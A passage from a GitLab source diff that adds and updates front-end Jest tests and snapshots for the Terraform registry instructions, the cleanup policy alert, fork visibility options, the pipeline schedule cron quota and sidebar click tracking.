class="gl-display-flex gl-flex-direction-column gl-xs-mb-3 gl-min-w-0 gl-flex-grow-1"
@@ -42,7 +42,7 @@ exports[`packages_list_row renders 1`] = `
</div>
<div
- class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-min-h-6 gl-min-w-0 gl-flex-fill-1"
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-min-h-6 gl-min-w-0 gl-flex-grow-1"
>
<div
class="gl-display-flex"
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/__snapshots__/terraform_installation_spec.js.snap b/spec/frontend/packages_and_registries/infrastructure_registry/components/__snapshots__/terraform_installation_spec.js.snap
new file mode 100644
index 00000000000..427160b45e3
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/__snapshots__/terraform_installation_spec.js.snap
@@ -0,0 +1,44 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`TerraformInstallation renders all the messages 1`] = `
+<div>
+ <h3
+ class="gl-font-lg"
+ >
+ Provision instructions
+ </h3>
+
+ <code-instruction-stub
+ copytext="Copy Terraform Command"
+ instruction="module \\"Test/system-22\\" {
+ source = \\"foo/Test/system-22\\"
+ version = \\"0.1\\"
+}"
+ label="Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+ multiline="true"
+ trackingaction=""
+ trackinglabel=""
+ />
+
+ <h3
+ class="gl-font-lg"
+ >
+ Registry setup
+ </h3>
+
+ <code-instruction-stub
+ copytext="Copy Terraform Setup Command"
+ instruction="credentials \\"gitlab.com\\" {
+ token = \\"<TOKEN>\\"
+}"
+ label="To authorize access to the Terraform registry:"
+ multiline="true"
+ trackingaction=""
+ trackinglabel=""
+ />
+
+ <gl-sprintf-stub
+ message="For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+ />
+</div>
+`;
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/details_title_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/details_title_spec.js
new file mode 100644
index 00000000000..87e0059344c
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/details_title_spec.js
@@ -0,0 +1,93 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { terraformModule, mavenFiles, npmPackage } from 'jest/packages/mock_data';
+import component from '~/packages_and_registries/infrastructure_registry/components/details_title.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('PackageTitle', () => {
+ let wrapper;
+ let store;
+
+ function createComponent({ packageFiles = mavenFiles, packageEntity = terraformModule } = {}) {
+ store = new Vuex.Store({
+ state: {
+ packageEntity,
+ packageFiles,
+ },
+ getters: {
+ packagePipeline: ({ packageEntity: { pipeline = null } }) => pipeline,
+ },
+ });
+
+ wrapper = shallowMount(component, {
+ localVue,
+ store,
+ stubs: {
+ TitleArea,
+ },
+ });
+ return wrapper.vm.$nextTick();
+ }
+
+ const findTitleArea = () => wrapper.findComponent(TitleArea);
+ const packageSize = () => wrapper.find('[data-testid="package-size"]');
+ const pipelineProject = () => wrapper.find('[data-testid="pipeline-project"]');
+ const packageRef = () => wrapper.find('[data-testid="package-ref"]');
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('module title', () => {
+ it('is correctly bound', async () => {
+ await createComponent();
+
+ expect(findTitleArea().props('title')).toBe(terraformModule.name);
+ });
+ });
+
+ describe('calculates the package size', () => {
+ it('correctly calculates the size', async () => {
+ await createComponent();
+
+ expect(packageSize().props('text')).toBe('300 bytes');
+ });
+ });
+
+ describe('package ref', () => {
+ it('does not display the ref if missing', async () => {
+ await createComponent();
+
+ expect(packageRef().exists()).toBe(false);
+ });
+
+ it('correctly shows the package ref if there is one', async () => {
+ await createComponent({ packageEntity: npmPackage });
+ expect(packageRef().props()).toMatchObject({
+ text: npmPackage.pipeline.ref,
+ icon: 'branch',
+ });
+ });
+ });
+
+ describe('pipeline project', () => {
+ it('does not display the project if missing', async () => {
+ await createComponent();
+
+ expect(pipelineProject().exists()).toBe(false);
+ });
+
+ it('correctly shows the pipeline project if there is one', async () => {
+ await createComponent({ packageEntity: npmPackage });
+
+ expect(pipelineProject().props()).toMatchObject({
+ text: npmPackage.pipeline.project.name,
+ icon: 'review-list',
+ link: npmPackage.pipeline.project.web_url,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/terraform_installation_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/terraform_installation_spec.js
new file mode 100644
index 00000000000..7a129794d54
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/terraform_installation_spec.js
@@ -0,0 +1,61 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { terraformModule as packageEntity } from 'jest/packages/mock_data';
+import TerraformInstallation from '~/packages_and_registries/infrastructure_registry/components/terraform_installation.vue';
+import CodeInstructions from '~/vue_shared/components/registry/code_instruction.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('TerraformInstallation', () => {
+ let wrapper;
+
+ const store = new Vuex.Store({
+ state: {
+ packageEntity,
+ projectPath: 'foo',
+ },
+ });
+
+ const findCodeInstructions = () => wrapper.findAllComponents(CodeInstructions);
+
+ function createComponent() {
+ wrapper = shallowMount(TerraformInstallation, {
+ localVue,
+ store,
+ });
+ }
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders all the messages', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ describe('installation commands', () => {
+ it('renders the correct command', () => {
+ expect(findCodeInstructions().at(0).props('instruction')).toMatchInlineSnapshot(`
+ "module \\"Test/system-22\\" {
+ source = \\"foo/Test/system-22\\"
+ version = \\"0.1\\"
+ }"
+ `);
+ });
+ });
+
+ describe('setup commands', () => {
+ it('renders the correct command', () => {
+ expect(findCodeInstructions().at(1).props('instruction')).toMatchInlineSnapshot(`
+ "credentials \\"gitlab.com\\" {
+ token = \\"<TOKEN>\\"
+ }"
+ `);
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/settings/project/settings/components/registry_settings_app_spec.js b/spec/frontend/packages_and_registries/settings/project/settings/components/registry_settings_app_spec.js
index a725941f7f6..8266f9bee89 100644
--- a/spec/frontend/packages_and_registries/settings/project/settings/components/registry_settings_app_spec.js
+++ b/spec/frontend/packages_and_registries/settings/project/settings/components/registry_settings_app_spec.js
@@ -10,6 +10,8 @@ import {
UNAVAILABLE_USER_FEATURE_TEXT,
} from '~/packages_and_registries/settings/project/constants';
import expirationPolicyQuery from '~/packages_and_registries/settings/project/graphql/queries/get_expiration_policy.query.graphql';
+import CleanupPolicyEnabledAlert from '~/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue';
+import SettingsBlock from '~/vue_shared/components/settings/settings_block.vue';
import {
expirationPolicyPayload,
@@ -28,15 +30,19 @@ describe('Registry Settings App', () => {
isAdmin: false,
adminSettingsPath: 'settingsPath',
enableHistoricEntries: false,
+ helpPagePath: 'helpPagePath',
+ showCleanupPolicyOnAlert: false,
};
const findSettingsComponent = () => wrapper.find(SettingsForm);
const findAlert = () => wrapper.find(GlAlert);
+ const findCleanupAlert = () => wrapper.findComponent(CleanupPolicyEnabledAlert);
const mountComponent = (provide = defaultProvidedValues, config) => {
wrapper = shallowMount(component, {
stubs: {
GlSprintf,
+ SettingsBlock,
},
mocks: {
$toast: {
@@ -66,6 +72,26 @@ describe('Registry Settings App', () => {
wrapper.destroy();
});
+ describe('cleanup is on alert', () => {
+ it('exist when showCleanupPolicyOnAlert is true and has the correct props', () => {
+ mountComponent({
+ ...defaultProvidedValues,
+ showCleanupPolicyOnAlert: true,
+ });
+
+ expect(findCleanupAlert().exists()).toBe(true);
+ expect(findCleanupAlert().props()).toMatchObject({
+ projectPath: 'path',
+ });
+ });
+
+ it('is hidden when showCleanupPolicyOnAlert is false', async () => {
+ mountComponent();
+
+ expect(findCleanupAlert().exists()).toBe(false);
+ });
+ });
+
describe('isEdited status', () => {
it.each`
description | apiResponse | workingCopy | result
diff --git a/spec/frontend/packages_and_registries/shared/components/__snapshots__/cleanup_policy_enabled_alert_spec.js.snap b/spec/frontend/packages_and_registries/shared/components/__snapshots__/cleanup_policy_enabled_alert_spec.js.snap
new file mode 100644
index 00000000000..2cded2ead2e
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/components/__snapshots__/cleanup_policy_enabled_alert_spec.js.snap
@@ -0,0 +1,19 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`CleanupPolicyEnabledAlert renders 1`] = `
+<gl-alert-stub
+ class="gl-mt-2"
+ dismissible="true"
+ dismisslabel="Dismiss"
+ primarybuttonlink=""
+ primarybuttontext=""
+ secondarybuttonlink=""
+ secondarybuttontext=""
+ title=""
+ variant="info"
+>
+ <gl-sprintf-stub
+ message="Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+ />
+</gl-alert-stub>
+`;
diff --git a/spec/frontend/packages_and_registries/shared/components/cleanup_policy_enabled_alert_spec.js b/spec/frontend/packages_and_registries/shared/components/cleanup_policy_enabled_alert_spec.js
new file mode 100644
index 00000000000..269e087f5ac
--- /dev/null
+++ b/spec/frontend/packages_and_registries/shared/components/cleanup_policy_enabled_alert_spec.js
@@ -0,0 +1,49 @@
+import { GlAlert } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import component from '~/packages_and_registries/shared/components/cleanup_policy_enabled_alert.vue';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
+
+describe('CleanupPolicyEnabledAlert', () => {
+ let wrapper;
+
+ const defaultProps = {
+ projectPath: 'foo',
+ cleanupPoliciesSettingsPath: 'label-bar',
+ };
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+
+ const mountComponent = (props) => {
+ wrapper = shallowMount(component, {
+ stubs: {
+ LocalStorageSync,
+ },
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders', () => {
+ mountComponent();
+
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('when dismissed is not visible', async () => {
+ mountComponent();
+
+ expect(findAlert().exists()).toBe(true);
+ findAlert().vm.$emit('dismiss');
+
+ await nextTick();
+
+ expect(findAlert().exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js b/spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js
index d22e0474e06..4280a78c202 100644
--- a/spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js
+++ b/spec/frontend/pages/milestones/shared/components/promote_milestone_modal_spec.js
@@ -3,7 +3,7 @@ import { shallowMount } from '@vue/test-utils';
import { setHTMLFixture } from 'helpers/fixtures';
import { TEST_HOST } from 'helpers/test_constants';
import waitForPromises from 'helpers/wait_for_promises';
-import * as flash from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as urlUtils from '~/lib/utils/url_utility';
import PromoteMilestoneModal from '~/pages/milestones/shared/components/promote_milestone_modal.vue';
@@ -103,7 +103,7 @@ describe('Promote milestone modal', () => {
wrapper.findComponent(GlModal).vm.$emit('primary');
await waitForPromises();
- expect(flash.deprecatedCreateFlash).toHaveBeenCalledWith(dummyError);
+ expect(createFlash).toHaveBeenCalledWith({ message: dummyError });
});
});
});
diff --git a/spec/frontend/pages/projects/forks/new/components/app_spec.js b/spec/frontend/pages/projects/forks/new/components/app_spec.js
index e1820606704..a7b4b9c42bd 100644
--- a/spec/frontend/pages/projects/forks/new/components/app_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/app_spec.js
@@ -13,6 +13,7 @@ describe('App component', () => {
projectPath: 'project-name',
projectDescription: 'some project description',
projectVisibility: 'private',
+ restrictedVisibilityLevels: [],
};
const createComponent = (props = {}) => {
diff --git a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
index 6d853120232..c80ccfa8256 100644
--- a/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/fork_form_spec.js
@@ -1,4 +1,5 @@
-import { GlFormInputGroup, GlFormInput, GlForm } from '@gitlab/ui';
+import { GlFormInputGroup, GlFormInput, GlForm, GlFormRadioGroup, GlFormRadio } from '@gitlab/ui';
+import { getByRole, getAllByRole } from '@testing-library/dom';
import { mount, shallowMount } from '@vue/test-utils';
import axios from 'axios';
import AxiosMockAdapter from 'axios-mock-adapter';
@@ -15,6 +16,13 @@ describe('ForkForm component', () => {
let wrapper;
let axiosMock;
+ const PROJECT_VISIBILITY_TYPE = {
+ private:
+ 'Private Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group.',
+ internal: 'Internal The project can be accessed by any logged in user.',
+ public: 'Public The project can be accessed without any authentication.',
+ };
+
const GON_GITLAB_URL = 'https://gitlab.com';
const GON_API_VERSION = 'v7';
@@ -37,6 +45,7 @@ describe('ForkForm component', () => {
projectPath: 'project-name',
projectDescription: 'some project description',
projectVisibility: 'private',
+ restrictedVisibilityLevels: [],
};
const mockGetRequest = (data = {}, statusCode = httpStatus.OK) => {
@@ -61,6 +70,8 @@ describe('ForkForm component', () => {
stubs: {
GlFormInputGroup,
GlFormInput,
+ GlFormRadioGroup,
+ GlFormRadio,
},
});
};
@@ -81,6 +92,7 @@ describe('ForkForm component', () => {
axiosMock.restore();
});
+ const findFormSelectOptions = () => wrapper.find('select[name="namespace"]').findAll('option');
const findPrivateRadio = () => wrapper.find('[data-testid="radio-private"]');
const findInternalRadio = () => wrapper.find('[data-testid="radio-internal"]');
const findPublicRadio = () => wrapper.find('[data-testid="radio-public"]');
@@ -203,24 +215,145 @@ describe('ForkForm component', () => {
});
describe('visibility level', () => {
+ it('displays the correct description', () => {
+ mockGetRequest();
+ createComponent();
+
+ const formRadios = wrapper.findAll(GlFormRadio);
+
+ Object.keys(PROJECT_VISIBILITY_TYPE).forEach((visibilityType, index) => {
+ expect(formRadios.at(index).text()).toBe(PROJECT_VISIBILITY_TYPE[visibilityType]);
+ });
+ });
+
+ it('displays all 3 visibility levels', () => {
+ mockGetRequest();
+ createComponent();
+
+ expect(wrapper.findAll(GlFormRadio)).toHaveLength(3);
+ });
+
+ describe('when the namespace is changed', () => {
+ const namespaces = [
+ {
+ visibility: 'private',
+ },
+ {
+ visibility: 'internal',
+ },
+ {
+ visibility: 'public',
+ },
+ ];
+
+ beforeEach(() => {
+ mockGetRequest();
+ });
+
+ it('resets the visibility to default "private"', async () => {
+ createFullComponent({ projectVisibility: 'public' }, { namespaces });
+
+ expect(wrapper.vm.form.fields.visibility.value).toBe('public');
+ await findFormSelectOptions().at(1).setSelected();
+
+ await wrapper.vm.$nextTick();
+
+ expect(getByRole(wrapper.element, 'radio', { name: /private/i }).checked).toBe(true);
+ });
+
+ it('sets the visibility to be null when restrictedVisibilityLevels is set', async () => {
+ createFullComponent({ restrictedVisibilityLevels: [10] }, { namespaces });
+
+ await findFormSelectOptions().at(1).setSelected();
+
+ await wrapper.vm.$nextTick();
+
+ const container = getByRole(wrapper.element, 'radiogroup', { name: /visibility/i });
+ const visibilityRadios = getAllByRole(container, 'radio');
+ expect(visibilityRadios.filter((e) => e.checked)).toHaveLength(0);
+ });
+ });
+
+ it.each`
+ project | restrictedVisibilityLevels
+ ${'private'} | ${[]}
+ ${'internal'} | ${[]}
+ ${'public'} | ${[]}
+ ${'private'} | ${[0]}
+ ${'private'} | ${[10]}
+ ${'private'} | ${[20]}
+ ${'private'} | ${[0, 10]}
+ ${'private'} | ${[0, 20]}
+ ${'private'} | ${[10, 20]}
+ ${'private'} | ${[0, 10, 20]}
+ ${'internal'} | ${[0]}
+ ${'internal'} | ${[10]}
+ ${'internal'} | ${[20]}
+ ${'internal'} | ${[0, 10]}
+ ${'internal'} | ${[0, 20]}
+ ${'internal'} | ${[10, 20]}
+ ${'internal'} | ${[0, 10, 20]}
+ ${'public'} | ${[0]}
+ ${'public'} | ${[10]}
+ ${'public'} | ${[0, 10]}
+ ${'public'} | ${[0, 20]}
+ ${'public'} | ${[10, 20]}
+ ${'public'} | ${[0, 10, 20]}
+ `('checks the correct radio button', async ({ project, restrictedVisibilityLevels }) => {
+ mockGetRequest();
+ createFullComponent({
+ projectVisibility: project,
+ restrictedVisibilityLevels,
+ });
+
+ if (restrictedVisibilityLevels.length === 0) {
+ expect(wrapper.find('[name="visibility"]:checked').attributes('value')).toBe(project);
+ } else {
+ expect(wrapper.find('[name="visibility"]:checked').exists()).toBe(false);
+ }
+ });
+
it.each`
- project | namespace | privateIsDisabled | internalIsDisabled | publicIsDisabled
- ${'private'} | ${'private'} | ${undefined} | ${'true'} | ${'true'}
- ${'private'} | ${'internal'} | ${undefined} | ${'true'} | ${'true'}
- ${'private'} | ${'public'} | ${undefined} | ${'true'} | ${'true'}
- ${'internal'} | ${'private'} | ${undefined} | ${'true'} | ${'true'}
- ${'internal'} | ${'internal'} | ${undefined} | ${undefined} | ${'true'}
- ${'internal'} | ${'public'} | ${undefined} | ${undefined} | ${'true'}
- ${'public'} | ${'private'} | ${undefined} | ${'true'} | ${'true'}
- ${'public'} | ${'internal'} | ${undefined} | ${undefined} | ${'true'}
- ${'public'} | ${'public'} | ${undefined} | ${undefined} | ${undefined}
+ project | namespace | privateIsDisabled | internalIsDisabled | publicIsDisabled | restrictedVisibilityLevels
+ ${'private'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[]}
+ ${'private'} | ${'internal'} | ${undefined} | ${'true'} | ${'true'} | ${[]}
+ ${'private'} | ${'public'} | ${undefined} | ${'true'} | ${'true'} | ${[]}
+ ${'internal'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[]}
+ ${'internal'} | ${'internal'} | ${undefined} | ${undefined} | ${'true'} | ${[]}
+ ${'internal'} | ${'public'} | ${undefined} | ${undefined} | ${'true'} | ${[]}
+ ${'public'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[]}
+ ${'public'} | ${'internal'} | ${undefined} | ${undefined} | ${'true'} | ${[]}
+ ${'public'} | ${'public'} | ${undefined} | ${undefined} | ${undefined} | ${[]}
+ ${'private'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[0]}
+ ${'internal'} | ${'internal'} | ${'true'} | ${undefined} | ${'true'} | ${[0]}
+ ${'public'} | ${'public'} | ${'true'} | ${undefined} | ${undefined} | ${[0]}
+ ${'private'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[10]}
+ ${'internal'} | ${'internal'} | ${undefined} | ${'true'} | ${'true'} | ${[10]}
+ ${'public'} | ${'public'} | ${undefined} | ${'true'} | ${undefined} | ${[10]}
+ ${'private'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[20]}
+ ${'internal'} | ${'internal'} | ${undefined} | ${undefined} | ${'true'} | ${[20]}
+ ${'public'} | ${'public'} | ${undefined} | ${undefined} | ${'true'} | ${[20]}
+ ${'private'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[10, 20]}
+ ${'internal'} | ${'internal'} | ${undefined} | ${'true'} | ${'true'} | ${[10, 20]}
+ ${'public'} | ${'public'} | ${undefined} | ${'true'} | ${'true'} | ${[10, 20]}
+ ${'private'} | ${'private'} | ${undefined} | ${'true'} | ${'true'} | ${[0, 10, 20]}
+ ${'internal'} | ${'internal'} | ${undefined} | ${'true'} | ${'true'} | ${[0, 10, 20]}
+ ${'public'} | ${'public'} | ${undefined} | ${'true'} | ${'true'} | ${[0, 10, 20]}
`(
'sets appropriate radio button disabled state',
- async ({ project, namespace, privateIsDisabled, internalIsDisabled, publicIsDisabled }) => {
+ async ({
+ project,
+ namespace,
+ privateIsDisabled,
+ internalIsDisabled,
+ publicIsDisabled,
+ restrictedVisibilityLevels,
+ }) => {
mockGetRequest();
createComponent(
{
projectVisibility: project,
+ restrictedVisibilityLevels,
},
{
form: { fields: { namespace: { value: { visibility: namespace } } } },
@@ -235,7 +368,7 @@ describe('ForkForm component', () => {
});
describe('onSubmit', () => {
- beforeEach(() => {
+ const setupComponent = (fields = {}) => {
jest.spyOn(urlUtility, 'redirectTo').mockImplementation();
mockGetRequest();
@@ -245,9 +378,14 @@ describe('ForkForm component', () => {
namespaces: MOCK_NAMESPACES_RESPONSE,
form: {
state: true,
+ ...fields,
},
},
);
+ };
+
+ beforeEach(() => {
+ setupComponent();
});
const selectedMockNamespaceIndex = 1;
@@ -279,6 +417,22 @@ describe('ForkForm component', () => {
expect(urlUtility.redirectTo).not.toHaveBeenCalled();
});
+
+ it('does not make POST request if no visbility is checked', async () => {
+ jest.spyOn(axios, 'post');
+
+ setupComponent({
+ fields: {
+ visibility: {
+ value: null,
+ },
+ },
+ });
+
+ await submitForm();
+
+ expect(axios.post).not.toHaveBeenCalled();
+ });
});
describe('with valid form', () => {
@@ -330,7 +484,7 @@ describe('ForkForm component', () => {
expect(urlUtility.redirectTo).not.toHaveBeenCalled();
expect(createFlash).toHaveBeenCalledWith({
- message: dummyError,
+ message: 'An error occurred while forking the project. Please try again.',
});
});
});
diff --git a/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js b/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js
index e7ac837a4c8..9f8dbf3d542 100644
--- a/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js
+++ b/spec/frontend/pages/projects/forks/new/components/fork_groups_list_spec.js
@@ -3,7 +3,7 @@ import { shallowMount } from '@vue/test-utils';
import AxiosMockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
import waitForPromises from 'helpers/wait_for_promises';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import ForkGroupsList from '~/pages/projects/forks/new/components/fork_groups_list.vue';
import ForkGroupsListItem from '~/pages/projects/forks/new/components/fork_groups_list_item.vue';
diff --git a/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap b/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
index c4c48ea7517..4ba9120d196 100644
--- a/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
+++ b/spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap
@@ -66,7 +66,7 @@ exports[`Code Coverage when fetching data is successful matches the snapshot 1`]
<gl-area-chart-stub
annotations=""
data="[object Object]"
- formattooltiptext="function () { [native code] }"
+ formattooltiptext="[Function]"
height="200"
includelegendavgmax="true"
legendaveragetext="Avg"
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap
index 350669433f0..59b42de2485 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap
+++ b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_a_spec.js.snap
@@ -92,6 +92,7 @@ exports[`Learn GitLab Design A renders correctly 1`] = `
aria-hidden="true"
class="gl-icon s16"
data-testid="completed-icon"
+ role="img"
>
<use
href="#check-circle-filled"
@@ -114,6 +115,7 @@ exports[`Learn GitLab Design A renders correctly 1`] = `
aria-hidden="true"
class="gl-icon s16"
data-testid="completed-icon"
+ role="img"
>
<use
href="#check-circle-filled"
diff --git a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap
index c9d8ab4566c..091edc7505c 100644
--- a/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap
+++ b/spec/frontend/pages/projects/learn_gitlab/components/__snapshots__/learn_gitlab_b_spec.js.snap
@@ -81,6 +81,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
aria-hidden="true"
class="gl-text-green-500 gl-icon s16"
data-testid="completed-icon"
+ role="img"
>
<use
href="#check-circle-filled"
@@ -142,6 +143,7 @@ exports[`Learn GitLab Design B renders correctly 1`] = `
aria-hidden="true"
class="gl-text-green-500 gl-icon s16"
data-testid="completed-icon"
+ role="img"
>
<use
href="#check-circle-filled"
diff --git a/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js b/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js
index 27cd0fe34bf..de0d70a07d7 100644
--- a/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js
+++ b/spec/frontend/pages/projects/pipeline_schedules/shared/components/interval_pattern_input_spec.js
@@ -1,3 +1,4 @@
+import { GlIcon } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { trimText } from 'helpers/text_helper';
import IntervalPatternInput from '~/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue';
@@ -27,6 +28,7 @@ describe('Interval Pattern Input Component', () => {
const findAllLabels = () => wrapper.findAll('label');
const findSelectedRadio = () =>
wrapper.findAll('input[type="radio"]').wrappers.find((x) => x.element.checked);
+ const findIcon = () => wrapper.findComponent(GlIcon);
const findSelectedRadioKey = () => findSelectedRadio()?.attributes('data-testid');
const selectEveryDayRadio = () => findEveryDayRadio().trigger('click');
const selectEveryWeekRadio = () => findEveryWeekRadio().trigger('click');
@@ -40,6 +42,11 @@ describe('Interval Pattern Input Component', () => {
wrapper = mount(IntervalPatternInput, {
propsData: { ...props },
+ provide: {
+ glFeatures: {
+ ciDailyLimitForPipelineSchedules: true,
+ },
+ },
data() {
return {
randomHour: data?.hour || mockHour,
@@ -202,4 +209,24 @@ describe('Interval Pattern Input Component', () => {
expect(findSelectedRadioKey()).toBe(customKey);
});
});
+
+ describe('Custom cron syntax quota info', () => {
+ it('the info message includes 5 minutes', () => {
+ createWrapper({ dailyLimit: '288' });
+
+ expect(findIcon().attributes('title')).toContain('5 minutes');
+ });
+
+ it('the info message includes 60 minutes', () => {
+ createWrapper({ dailyLimit: '24' });
+
+ expect(findIcon().attributes('title')).toContain('60 minutes');
+ });
+
+ it('the info message icon is not shown when there is no daily limit', () => {
+ createWrapper();
+
+ expect(findIcon().exists()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/pages/shared/nav/sidebar_tracking_spec.js b/spec/frontend/pages/shared/nav/sidebar_tracking_spec.js
new file mode 100644
index 00000000000..2c8eb8e459f
--- /dev/null
+++ b/spec/frontend/pages/shared/nav/sidebar_tracking_spec.js
@@ -0,0 +1,160 @@
+import { setHTMLFixture } from 'helpers/fixtures';
+import { initSidebarTracking } from '~/pages/shared/nav/sidebar_tracking';
+
+describe('~/pages/shared/nav/sidebar_tracking.js', () => {
+ beforeEach(() => {
+ setHTMLFixture(`
+ <aside class="nav-sidebar">
+ <div class="nav-sidebar-inner-scroll">
+ <ul class="sidebar-top-level-items">
+ <li data-track-label="project_information_menu" class="home">
+ <a aria-label="Project information" class="shortcuts-project-information has-sub-items" href="">
+ <span class="nav-icon-container">
+ <svg class="s16" data-testid="project-icon">
+ <use xlink:href="/assets/icons-1b2dadc4c3d49797908ba67b8f10da5d63dd15d859bde28d66fb60bbb97a4dd5.svg#project"></use>
+ </svg>
+ </span>
+ <span class="nav-item-name">Project information</span>
+ </a>
+ <ul class="sidebar-sub-level-items">
+ <li class="fly-out-top-item">
+ <a aria-label="Project information" href="#">
+ <strong class="fly-out-top-item-name">Project information</strong>
+ </a>
+ </li>
+ <li class="divider fly-out-top-item"></li>
+ <li data-track-label="activity" class="">
+ <a aria-label="Activity" class="shortcuts-project-activity" href=#">
+ <span>Activity</span>
+ </a>
+ </li>
+ <li data-track-label="labels" class="">
+ <a aria-label="Labels" href="#">
+ <span>Labels</span>
+ </a>
+ </li>
+ <li data-track-label="members" class="">
+ <a aria-label="Members" href="#">
+ <span>Members</span>
+ </a>
+ </li>
+ </ul>
+ </li>
+ </ul>
+ </div>
+ </aside>
+ `);
+
+ initSidebarTracking();
+ });
+
+ describe('sidebar is not collapsed', () => {
+ describe('menu is not expanded', () => {
+ it('sets the proper data tracking attributes when clicking on menu', () => {
+ const menu = document.querySelector('li[data-track-label="project_information_menu"]');
+ const menuLink = menu.querySelector('a');
+
+ menu.classList.add('is-over', 'is-showing-fly-out');
+ menuLink.click();
+
+ expect(menu.dataset).toMatchObject({
+ trackAction: 'click_menu',
+ trackExtra: JSON.stringify({
+ sidebar_display: 'Expanded',
+ menu_display: 'Fly out',
+ }),
+ });
+ });
+
+ it('sets the proper data tracking attributes when clicking on submenu', () => {
+ const menu = document.querySelector('li[data-track-label="activity"]');
+ const menuLink = menu.querySelector('a');
+ const submenuList = document.querySelector('ul.sidebar-sub-level-items');
+
+ submenuList.classList.add('fly-out-list');
+ menuLink.click();
+
+ expect(menu.dataset).toMatchObject({
+ trackAction: 'click_menu_item',
+ trackExtra: JSON.stringify({
+ sidebar_display: 'Expanded',
+ menu_display: 'Fly out',
+ }),
+ });
+ });
+ });
+
+ describe('menu is expanded', () => {
+ it('sets the proper data tracking attributes when clicking on menu', () => {
+ const menu = document.querySelector('li[data-track-label="project_information_menu"]');
+ const menuLink = menu.querySelector('a');
+
+ menu.classList.add('active');
+ menuLink.click();
+
+ expect(menu.dataset).toMatchObject({
+ trackAction: 'click_menu',
+ trackExtra: JSON.stringify({
+ sidebar_display: 'Expanded',
+ menu_display: 'Expanded',
+ }),
+ });
+ });
+
